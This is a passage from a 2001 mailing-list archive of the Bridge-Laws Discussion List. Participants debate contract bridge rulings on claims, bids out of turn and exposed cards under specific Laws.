(EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA26154 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 11:38:29 -0500 (EST) Date: Thu, 25 Jan 2001 11:38:29 -0500 (EST) From: Steve Willner Message-Id: <200101251638.LAA26154@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Let's get back to the easy stuff X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "David Burn" > Suppose the player who in "real life" opened 1D on A Kx xx AKQJxxxx had > opened it out of turn (in all innocence). And suppose that the opponents > did not accept the bid. After three passes to this hand in fourth > position - what can its holder legally do? As I understand the various > opinions on the subject, if he opens 3NT and makes it on a non-diamond > lead, the score will be adjusted (but to what?) I think so. The adjustment would be to the worst result "at all probable/likely" without the infraction, namely the BOOT. We don't know that this player would have opened 1D if bidding in turn, so the opponents will probably get the benefit of a diamond lead. (Presumably the player thought he was first or second to call. That is a different condition than fourth to call, and it changes the odds for psyching.) > If he opens 6C and makes > it on a spade lead (dummy having, perhaps, SKQ and C10 but nothing else > of value), the score will again be adjusted (but to what?) Now I'm not so sure. I think you have to stretch very hard to get to "_likely_ to damage the NOS" After all, if the player is willing to gamble 6C, could he be so far from 7C? Or maybe 6NT by partner is cold. Yes, "psych, barring partner, and bid 6C" could work (from a villain's point of view), but my bridge judgment (inferior to David B.'s without doubt) says it isn't "likely." For one thing, it should be pretty obvious after 6C that the 1D opening was a joke. This "ploy" may very well _attract_ a diamond lead. I'd be much more inclined to adjust if the opening BOOT had been 1C. And what if the player bids 5C? I don't see how barring partner and bidding 5C is at all likely to damage the NOS, psych or no. > In fact, the > case appears to be that if you have psyched out of turn, you will sooner > or later be credited with the worst possible result your side could > obtain. Is this the law? I don't think so. You may remember that I was against adjusting the score after the Rottweiler Coup, although that was apparently a minority position. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 03:43:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PGhPd02747 for bridge-laws-outgoing; Fri, 26 Jan 2001 03:43:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PGhKt02743 for ; Fri, 26 Jan 2001 03:43:20 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id IAA02451; Thu, 25 Jan 2001 08:41:08 -0800 Message-Id: <200101251641.IAA02451@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Consistent Claim Adjudication In-reply-to: Your message of "Thu, 25 Jan 2001 12:05:15 +1100." <026501c0866a$e1137ce0$7d0fac89@SERCDEMOnote> Date: Thu, 25 Jan 2001 08:41:08 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Newman wrote: > Contract is 3NT (I would have remembered a trump suit, maybe?). Lead is with > North. > > > > > On to more important matters - I really believe that claims > > > should be adjudicated in a manner so that players (like me) can > > > expect consistency in rulings.... Last Sunday I was playing in > > > an event with the following 6 card ending... > > > > > > T5 > > > -- > > > -- > > > Q654 > > > 87 64 > > > 87 A5 > > > 95 -- > > > -- 87 > > > KJ3 > > > KJ6 > > > -- > > > -- > > > > > > At this point declarer claims the rest (not realising that the > > > clubs weren't running) by (as players do) putting all the clubs > > > on the table and saying something along the line of "...and the > > > spades at the end." Everyone seems to agree that the defense should get just two tricks, but there's a complication. Declarer's stated line is to run four clubs, discarding three hearts and a spade; but if the clubs are running if declarer thinks they are, it doesn't matter which order those four cards are discarded in. In fact, it would be consistent with declarer's stated line if he discarded a *high* heart first. (This is a point that has caused a lot of arguments on BLML in the past, and I don't believe we've ever come to a consensus.) So say declarer discards the king of hearts on the first club. Now he leads the second club, and East plays a winner, to declarer's chagrin. I think everyone agrees that it would be irrational for South to discard another heart (although I don't know how we can tell this; we're pretty much assuming that declarer knows what cards the defense still has, when in reality he didn't even know that East had a club stopper). But would anyone consider it irrational for South to discard a *low* spade on this trick? Assuming we wouldn't, East then leads a spade. Now what? I think you can make a case for giving three tricks to the defense. This might not apply in the ACBL, where (I believe) there's a stated principle that suits are discarded from the bottom up. But I wish the Laws said something one way or the other, about whether other orders of discarding should be considered "irrational". -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 04:30:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PHRo715679 for bridge-laws-outgoing; Fri, 26 Jan 2001 04:27:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PHRdt15613 for ; Fri, 26 Jan 2001 04:27:44 +1100 (EST) Received: from oemcomputer (dialup-005.sligo.iol.ie [194.125.48.197]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id RAA25876 for ; Thu, 25 Jan 2001 17:27:28 GMT Received: by localhost with Microsoft MAPI; Thu, 25 Jan 2001 17:28:32 -0000 Message-ID: <01C086F4.3D51FF20.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Claim? Date: Thu, 25 Jan 2001 17:28:31 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS asked: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? I replied: Literally he has, but intentionally he has not. I vote No - he has not claimed. I wish the Law book could be taken literally but that is not the case yet so I will use commonsense. Best regards, Fearghal. David Burn wrote: A player fails to follow suit, because he has a spade in with his clubs. Has he revoked? According to the argument above, he has not, because he did not mean to. When a player revokes or bids out of turn etc, he has done so unintentionally. A claim however is made with intent. David Burn added: Unfortunately, you do not have the option of using "common sense" when you disagree with the law book, and following the laws otherwise. In any case, to say that "we will win twelve tricks" is not a claim is not "common sense" but nonsense. I thought this was a bit harsh. Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 05:10:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PI9K900380 for bridge-laws-outgoing; Fri, 26 Jan 2001 05:09:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PI9Dt00340 for ; Fri, 26 Jan 2001 05:09:13 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0PI5Vm06598; Thu, 25 Jan 2001 13:05:33 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101251623.LAA26130@cfa183.harvard.edu> References: <200101251623.LAA26130@cfa183.harvard.edu> Date: Thu, 25 Jan 2001 12:58:59 -0500 To: Steve Willner From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: Bridge Laws Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >Let's suppose West flips a card face up (in a position where East could >see if if East is looking) while taking his cards out of the board. I >think the right procedure for the TD is: > >1. Did East see the card? If so, rule under L16B. > >2. If play continues, either because East did not see the card or >because the TD deems the information immaterial, apply L24, but see >number 3 below. > >3. The TD should offer the NOS the option of waiving the penalty. I am >not suggesting this because the flipping the card over was >unintentional but because waiving the penalty may benefit the NOS. >(They will get a normal result if they do so but possibly an abnormal >result if they don't, so it might be to their advantage to waive the >penalty. This strikes me as good cause under L81C8.) Of course the >NOS can make their decision on any basis they consider proper. > >The above procedure is probably not the way I would have written the >rules -- and I wouldn't expect the average TD to get it right -- but it >seems to be what the FLB is telling us. It has been said here before that the headings of the various sections of the LB aren't part of the laws. Still, the heading at Law 24 says "Card Exposed or Led During Auction Period". While I have to concede DB's interpretation of the meaning of Law 24 (that if the TD determines, during the auction, that a card was faced, it doesn't matter *when* it was faced), it still seems to me that the *intent* was pretty clearly that it be faced *during the auction*. Aside from that, the TD has made his determination *before* the auction starts, else he would not have applied Law 16B. If his determination was *before* the auction, then it isn't *during* the auction, and Law 24 can't apply, even ignoring the heading and using the DB interpretation. When the TD determines that 16B applies, and decides that either East didn't see the card, or the information is immaterial, then it seems to me West should just be told to pick the damn thing up. *Then* play continues - and at that point, there is no faced card. I can't see telling West to pick up his card, and telling the players to continue, then waiting a few seconds until either East or West (doesn't matter which) "examines the face of his cards", and then saying "the auction having now started, I determine that there was a card exposed such that East might have seen it, and therefore Law 24 applies." Nor can I see telling West to leave the card face up, (particularly if East hadn't seen it) just so I can apply Law 24. IOW, IMO, either 16B applies, or 24 applies. Not both. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOnBrw72UW3au93vOEQKz3QCfeYMa+4nT51Xmqcox7Fd2pysv2VAAmwbl qbZ7pineN9TVj4dk6JwbovK/ =5z0G -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 05:30:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PISwZ07384 for bridge-laws-outgoing; Fri, 26 Jan 2001 05:28:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PISpt07348 for ; Fri, 26 Jan 2001 05:28:52 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id MAA13186 for ; Thu, 25 Jan 2001 12:30:05 -0600 (CST) Message-Id: <3.0.6.32.20010125122811.007ccdf0@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 25 Jan 2001 12:28:11 -0600 To: From: Grant Sterling Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <031701c0868e$1ee73200$7d0fac89@SERCDEMOnote> References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> <200101250044.QAA14844@mailhub.irvine.com> <5FRfN4AYn4b6Ewvd@probst.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:17 PM 1/25/2001 +1100, Peter Newman wrote: >Hi All, > >Thanks for the responses - it seems fairly agreed that it should be two >tricks for the defence. North gets to pitch one heart from dummy, wakes up >for the second and then doesn't pitch the stopper.... Yes. An amazing degree of unanimity for this list. >So I assume if the hand was (and although not described consistent with the >play to this point): > > T5 > -- > -- > Q654 >-- 8764 >A875 -- >95 -- >-- 87 > KJ3 > KJ6 > -- > -- > >Declarer would also be one off - despite being cold on their claimed line of >play.... Yes, he would lose two tricks, but it's not true that it is cold on the claimed line of play. The claimed line of play collapses as soon as the clubs do not run. From the instant that RHO plays a winning club to the second trick, the claimed line of play no longer exists. >Or how about I modify the hand like this? > > T5 > -- > -- > Q654 >87 4 >87 A65 >95 -- >-- 87 > KJ63 > KJ > -- > -- > >Is it irrational to throw a heart on the CQ? It doesn't matter if it is or not, because at that point it is still the claimed line of play. The claimed line of play does not have to be rational, as long as it works. We don't consider rationality or irrationality until the claimed line of play breaks down. >Put me down as a fan of - any director, same decision....or in other words - >not a supporter of the current law! I fail to see your problem--or, rather, I see several things that could be your problem and I'm not sure which it is. a) Your problem could be that different directors will give different rulings on the first hand. However, the directors on this list are pretty much unanimous about that ruling. b) I am willing to bet that they will be unanimous about the third hand, too. c) It may be that you're worried that they might give different rulings on the second hand, but that is yet to be demonstrated. d) Or perhaps your problem is that you think that the ruling should be the same in each case, even though the hands are different. In that case, I wish you would explain why. It seems obvious to me that if the hands are different, and I claim, I may get a different number of tricks each time. Understand, of course, that I am a notorious friend of the current claim laws. But I am genuinely puzzled as to exactly which problem worries you here. >Cheers, > >Peter Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 05:35:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PIY8N09222 for bridge-laws-outgoing; Fri, 26 Jan 2001 05:34:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PIY1t09185 for ; Fri, 26 Jan 2001 05:34:01 +1100 (EST) Received: from james (user-2ive48u.dialup.mindspring.com [165.247.17.30]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with SMTP id NAA27008; Thu, 25 Jan 2001 13:33:55 -0500 (EST) Message-ID: <002701c086fd$5fc02650$1e11f7a5@james> From: "Craig Senior" To: "Marvin L. French" , References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <00d001c08629$cefc5b80$9a9c1e18@san.rr.com> <01c301c0868a$fbc9f760$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 13:33:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Or perhaps John was expressing surprise that all three directors owned a copy, since so many bad club directors never seem to consult it when giving a ruling. :-)) Craig ----- Original Message ----- From: "Marvin L. French" To: Sent: Wednesday, January 24, 2001 11:46 PM Subject: Re: [BLML] Claim? > From: "John (MadDog) Probst" > > > Marvin L. French wrote: > > > > > > >From: "Kevin Perkins" > > > > > >> I polled the bridge players in my area for one week. After 97 > people, > > >> including 3 directors, none of the people questioned believed the > > >remarks in > > >> question were a claim. > > > > > >And probably only 3 of them own a copy of the Laws, and none are very > > >familiar with its contents. > > > > All 3? > > "Probably," I said, going by the poll result but allowing room for error. > It's possible that one or more of the TDs was very knowledgeable about the > Laws, even though the poll seems to have been taken in Austin, Texas, not > London, England. > > Marv > San Diego, CA, USA > > > > > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 05:41:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PIduk11270 for bridge-laws-outgoing; Fri, 26 Jan 2001 05:39:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PIdnt11227 for ; Fri, 26 Jan 2001 05:39:49 +1100 (EST) Received: from james (user-2ive48u.dialup.mindspring.com [165.247.17.30]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with SMTP id NAA07041; Thu, 25 Jan 2001 13:39:45 -0500 (EST) Message-ID: <002f01c086fe$2fcea1a0$1e11f7a5@james> From: "Craig Senior" To: "Bridge Laws Discussion List" , "Eric Landau" References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> <4.3.2.7.1.20010125075030.00b3f350@127.0.0.1> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 13:39:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As usual Eric you have a good point. I was thinking of the bombastic cheapskate I was in my drinking days. When I said "I'll bet you a beer" I was confidently tasting the foam even though my pockets were empty. My example may have been ill chosen. Less probabalistic is the case in point: effectivelty "Oh no, we should have bid it, we're making 12 tricks!" That is a claim, unless someone chooses to rewite the lawbook. Craig ----- Original Message ----- From: "Eric Landau" To: "Bridge Laws Discussion List" Sent: Thursday, January 25, 2001 8:04 AM Subject: Re: [BLML] Claim? > A while back I tried to make the distinction between statements of > presumptive fact and statements of probabilistic expectation, but it > slipped through without comment. Then... > > At 12:18 PM 1/23/01, Craig wrote: > > >We're making 12 tricks is a claim...even > >if it is preceded by I'll bet you a beer. > > To a betting man (or anyone else concerned with probability in either a > theoretical or a practical context) the statement "I'll bet you a beer > we're making 12 tricks" is a statement to the effect that I believe I > am more likely to do so than to fail to do so. It is in no way a > statement to the effect that I *will* do so. > > > Eric Landau elandau@cais.com > APL Solutions, Inc. elandau@acm.org > 1107 Dale Drive (301) 589-4621 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 06:53:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PJpiP14770 for bridge-laws-outgoing; Fri, 26 Jan 2001 06:51:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PJpWt14699 for ; Fri, 26 Jan 2001 06:51:32 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14LsQZ-0002Ua-0B for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 19:51:28 +0000 Message-ID: Date: Thu, 25 Jan 2001 19:30:44 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <200101251333.NAA11830@tempest.npl.co.uk> In-Reply-To: <200101251333.NAA11830@tempest.npl.co.uk> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <200101251333.NAA11830@tempest.npl.co.uk>, Robin Barker writes > >> From: Eric Landau >> >> At 12:18 PM 1/23/01, Craig wrote: >> >> >We're making 12 tricks is a claim...even >> >if it is preceded by I'll bet you a beer. >> >> To a betting man (or anyone else concerned with probability in either a >> theoretical or a practical context) the statement "I'll bet you a beer >> we're making 12 tricks" is a statement to the effect that I believe I >> am more likely to do so than to fail to do so. It is in no way a >> statement to the effect that I *will* do so. > >[ I never thought I would read this thread, never mind contribute to it. ] > >If instead declarer said "You will owe me a beer" without stating a number >of tricks. Do we award him the (least) number of tricks consistent with >any normal line making D7 at the last trick? > >Robin > I would so rule if the players concerned play the "beer card" rule, even if the statement refers to a side bet on who is sleeping with whom. TD: "Do you play for beers on the D7?" OS: "Nope" "Play on" or OS: "Yep" "Play ceases" -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 06:53:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PJpkq14785 for bridge-laws-outgoing; Fri, 26 Jan 2001 06:51:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PJpat14726 for ; Fri, 26 Jan 2001 06:51:37 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14LsQZ-000JNZ-0A for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 19:51:28 +0000 Message-ID: <$KxuOcBH4Hc6EwGY@probst.demon.co.uk> Date: Thu, 25 Jan 2001 19:27:03 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Let's get back to the easy stuff References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> <000b01c0860e$1a363c40$b96101d5@pbncomputer> <3A701408.B57E2685@village.uunet.be> In-Reply-To: <3A701408.B57E2685@village.uunet.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <3A701408.B57E2685@village.uunet.be>, Herman De Wael writes > >So I'd vote that the 1Di hors-tour opener "could have known >that silencing partner might benefit". > I'll add my vote too. Yes it could damage. > > -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 07:00:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PJxOK17095 for bridge-laws-outgoing; Fri, 26 Jan 2001 06:59:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PJxIt17091 for ; Fri, 26 Jan 2001 06:59:19 +1100 (EST) Received: from james (user-2ive48u.dialup.mindspring.com [165.247.17.30]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA12910; Thu, 25 Jan 2001 14:59:12 -0500 (EST) Message-ID: <008901c08709$4926d130$1e11f7a5@james> From: "Craig Senior" To: "Todd Zimnoch" , References: Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? Date: Thu, 25 Jan 2001 14:59:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As did Leo at both the Polo Grounds and Ebbets Field. Craig ----- Original Message ----- From: "Todd Zimnoch" To: Sent: Thursday, January 25, 2001 2:46 AM Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? > As a Baltimoron, I miss him as the O's manager. For those who think he > may have been bad for the game, I suspect they'll never understand the > spirit of places like Memorial Stadium or Wrigley Field. As baseball is a > spectator sport, sometimes you have to put on a show for your audience. :) > > -Todd > > >From: "Craig Senior" > >Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? > >Date: Wed, 24 Jan 2001 16:14:35 -0500 > > > >Certainly not universally. Many consider him to have been, > >although too peppery for his own good, a fine dynamic manager > >who got the very most out of his players. But then you believe > >that 99.9999999% of everyone agrees with each of your opinions, > >don't you. :-)) By the way, I never agreed with the statement > >quoted...that was part of the darker side of a man who had many > >substantial merits. > > > >Craig > > > >Apologies to those across the pond...I know these baseball items > >really aren't cricket. But we Yanks have to have our innings now > >and then. :-))) > > ________________________________________________________________ _ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 07:53:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PKqtk29331 for bridge-laws-outgoing; Fri, 26 Jan 2001 07:52:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PKqlt29287 for ; Fri, 26 Jan 2001 07:52:48 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id PAA15900; Thu, 25 Jan 2001 15:52:02 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA068805921; Thu, 25 Jan 2001 15:52:01 -0500 X-Openmail-Hops: 1 Date: Thu, 25 Jan 2001 15:52:00 -0500 Message-Id: Subject: RE: [BLML] Claim? Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au, csenior@ix.netcom.com, mlfrench@writeme.com Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Thu, 25 Jan 2001 15:51:59 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0PKqpt29310 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig wrote: Or perhaps John was expressing surprise that all three directors owned a copy, since so many bad club directors never seem to consult it when giving a ruling. :-)) ________________________________________________________________ I hope good club directors are able to give 